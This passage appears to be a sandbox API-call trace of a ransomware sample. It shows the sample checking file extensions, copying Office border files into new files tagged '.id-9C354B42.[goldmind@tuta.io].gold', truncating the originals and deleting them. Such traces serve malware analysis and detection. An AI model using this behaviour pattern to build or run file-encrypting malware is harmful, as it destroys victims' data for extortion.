Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.153] lstrlenW (lpString=".doc") returned 4 [0110.153] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString=".docx") returned 5 [0110.153] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0110.153] lstrlenW (lpString=".pdf") returned 4 [0110.153] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString=".xls") returned 4 [0110.153] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString=".xlsx") returned 5 [0110.153] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0110.153] lstrlenW (lpString=".ppt") returned 4 [0110.153] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.153] lstrlenW (lpString=".zip") returned 4 [0110.153] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString=".rar") returned 4 [0110.153] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString=".bz2") returned 4 [0110.153] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString=".7z") returned 3 [0110.153] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.153] lstrlenW (lpString=".dbf") returned 4 [0110.153] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.153] lstrlenW (lpString=".1cd") returned 4 [0110.153] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0110.153] lstrlenW (lpString=".jpg") returned 4 [0110.153] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.153] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.153] lstrlenW (lpString="MSART14.BDR") returned 11 [0110.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.154] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=51388) returned 1 [0110.154] CloseHandle (hObject=0x380) returned 1 [0110.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 0x20 [0110.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.154] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.154] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0110.155] GetLastError () returned 0x0 [0110.155] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xc8bc, lpOverlapped=0x0) returned 1 [0110.316] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc8c0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xc8c0, lpOverlapped=0x0) returned 1 [0110.318] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.318] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.318] SetEndOfFile (hFile=0x3a8) returned 1 [0110.318] CloseHandle (hObject=0x3a8) returned 1 [0110.318] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.318] SetEndOfFile (hFile=0x380) returned 1 [0110.320] CloseHandle (hObject=0x380) returned 1 [0110.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 1 [0110.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.488] lstrlenW (lpString=".doc") returned 4 [0110.488] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString=".docx") returned 5 [0110.488] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0110.488] lstrlenW (lpString=".pdf") returned 4 [0110.488] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString=".xls") returned 4 [0110.488] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString=".xlsx") returned 5 [0110.488] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0110.488] lstrlenW (lpString=".ppt") returned 4 [0110.488] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.488] lstrlenW (lpString=".zip") returned 4 [0110.488] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString=".rar") returned 4 [0110.488] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString=".bz2") returned 4 [0110.488] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString=".7z") returned 3 [0110.488] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.488] lstrlenW (lpString=".dbf") returned 4 [0110.488] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.488] lstrlenW (lpString=".1cd") returned 4 [0110.488] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.488] lstrlenW (lpString=".jpg") returned 4 [0110.488] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.489] lstrlenW (lpString=".doc") returned 4 [0110.489] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString=".docx") returned 5 [0110.489] lstrcmpiW (lpString1=".docx", lpString2="4.BDR") returned -1 [0110.489] lstrlenW (lpString=".pdf") returned 4 [0110.489] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString=".xls") returned 4 [0110.489] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString=".xlsx") returned 5 [0110.489] lstrcmpiW (lpString1=".xlsx", lpString2="4.BDR") returned -1 [0110.489] lstrlenW (lpString=".ppt") returned 4 [0110.489] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.489] lstrlenW (lpString=".zip") returned 4 [0110.489] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString=".rar") returned 4 [0110.489] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString=".bz2") returned 4 [0110.489] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString=".7z") returned 3 [0110.489] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.489] lstrlenW (lpString=".dbf") returned 4 [0110.489] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.489] lstrlenW (lpString=".1cd") returned 4 [0110.489] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR") returned 62 [0110.489] lstrlenW (lpString=".jpg") returned 4 [0110.489] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.489] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.489] lstrlenW (lpString="MSART6.BDR") returned 10 [0110.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.490] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=55222) returned 1 [0110.490] CloseHandle (hObject=0x380) returned 1 [0110.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 0x20 [0110.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.490] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.490] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0110.491] GetLastError () returned 0x0 [0110.491] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xd7b6, lpOverlapped=0x0) returned 1 [0110.517] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xd7c0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xd7c0, lpOverlapped=0x0) returned 1 [0110.518] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.518] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.518] SetEndOfFile (hFile=0x3a8) returned 1 [0110.518] CloseHandle (hObject=0x3a8) returned 1 [0110.518] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.518] SetEndOfFile (hFile=0x380) returned 1 [0110.521] CloseHandle (hObject=0x380) returned 1 [0110.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 1 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString=".doc") returned 4 [0110.522] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString=".docx") returned 5 [0110.522] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0110.522] lstrlenW (lpString=".pdf") returned 4 [0110.522] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString=".xls") returned 4 [0110.522] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString=".xlsx") returned 5 [0110.522] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0110.522] lstrlenW (lpString=".ppt") returned 4 [0110.522] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString=".zip") returned 4 [0110.522] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString=".rar") returned 4 [0110.522] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString=".bz2") returned 4 [0110.522] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString=".7z") returned 3 [0110.522] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString=".dbf") returned 4 [0110.522] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString=".1cd") returned 4 [0110.522] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString=".jpg") returned 4 [0110.522] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.522] lstrlenW (lpString=".doc") returned 4 [0110.522] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.522] lstrlenW (lpString=".docx") returned 5 [0110.522] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0110.522] lstrlenW (lpString=".pdf") returned 4 [0110.522] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.523] lstrlenW (lpString=".xls") returned 4 [0110.523] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.523] lstrlenW (lpString=".xlsx") returned 5 [0110.523] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0110.523] lstrlenW (lpString=".ppt") returned 4 [0110.523] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.523] lstrlenW (lpString=".zip") returned 4 [0110.523] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.523] lstrlenW (lpString=".rar") returned 4 [0110.523] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.523] lstrlenW (lpString=".bz2") returned 4 [0110.523] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.523] lstrlenW (lpString=".7z") returned 3 [0110.523] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.523] lstrlenW (lpString=".dbf") returned 4 [0110.523] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.523] lstrlenW (lpString=".1cd") returned 4 [0110.523] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0110.523] lstrlenW (lpString=".jpg") returned 4 [0110.523] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.523] lstrcmpiW (lpString1=".BDR", lpString2=".gold") returned -1 [0110.523] lstrlenW (lpString="MSART8.BDR") returned 10 [0110.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.524] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=49098) returned 1 [0110.524] CloseHandle (hObject=0x380) returned 1 [0110.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 0x20 [0110.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.524] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.524] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0110.746] GetLastError () returned 0x0 [0110.746] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbfca, lpOverlapped=0x0) returned 1 [0110.756] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbfd0, lpOverlapped=0x0) returned 1 [0110.757] ReadFile (in: hFile=0x380, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.757] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0110.758] SetEndOfFile (hFile=0x394) returned 1 [0110.758] CloseHandle (hObject=0x394) returned 1 [0110.758] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.758] SetEndOfFile (hFile=0x380) returned 1 [0110.760] CloseHandle (hObject=0x380) returned 1 [0110.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 1 [0110.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.821] lstrlenW (lpString=".doc") returned 4 [0110.821] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.821] lstrlenW (lpString=".docx") returned 5 [0110.821] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0110.821] lstrlenW (lpString=".pdf") returned 4 [0110.821] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.821] lstrlenW (lpString=".xls") returned 4 [0110.821] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.821] lstrlenW (lpString=".xlsx") returned 5 [0110.821] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0110.821] lstrlenW (lpString=".ppt") returned 4 [0110.821] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.821] lstrlenW (lpString=".zip") returned 4 [0110.821] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.821] lstrlenW (lpString=".rar") returned 4 [0110.821] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".bz2") returned 4 [0110.822] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".7z") returned 3 [0110.822] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".dbf") returned 4 [0110.822] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".1cd") returned 4 [0110.822] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".jpg") returned 4 [0110.822] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".doc") returned 4 [0110.822] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".docx") returned 5 [0110.822] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1 [0110.822] lstrlenW (lpString=".pdf") returned 4 [0110.822] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".xls") returned 4 [0110.822] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".xlsx") returned 5 [0110.822] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1 [0110.822] lstrlenW (lpString=".ppt") returned 4 [0110.822] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".zip") returned 4 [0110.822] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".rar") returned 4 [0110.822] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".bz2") returned 4 [0110.822] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString=".7z") returned 3 [0110.822] lstrcmpiW 